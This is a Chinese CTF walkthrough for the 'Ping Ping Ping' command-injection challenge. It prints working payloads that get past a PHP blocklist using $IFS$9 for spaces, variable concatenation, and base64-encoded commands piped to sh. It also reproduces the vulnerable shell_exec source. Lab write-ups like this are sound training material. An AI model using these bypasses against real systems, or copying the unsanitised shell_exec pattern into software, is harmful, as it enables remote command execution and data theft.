[BUUOJ记录] [GXYCTF2019]Ping Ping Ping

主要考察RCE的防护绕过,感觉考的还是比较全的

先构造Payload:

?ip=127.0.0.1;ls

看到目录下有两个文件,fuzz一下发现过滤了 空格 / + * ? { } ( ) [ ]等符号以及Flag字符串,fuzz出这些就会发现=和$没有过滤

所以想到的思路就是使用$IFS$9代替空格,使用拼接变量来拼接出Flag字符串:

?ip=127.0.0.1;a=fl;b=ag;cat$IFS$9$a$b

然后发现还是被过滤了Flag,猜测后端应该是对最终构成的语句进行了正则匹配,但是可以读取到index.php:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

这里还是想说一个坑:RCE读取PHP文件时,一定要从源代码看,因为PHP不能被解析!

过滤了bash,可以用sh命令来实现,然后使用base64编码来绕过关键词的验证,构造Payload:

?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhw=$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|sh

查看源代码获得Flag:

猜你喜欢

转载自www.cnblogs.com/yesec/p/12475478.html
今日推荐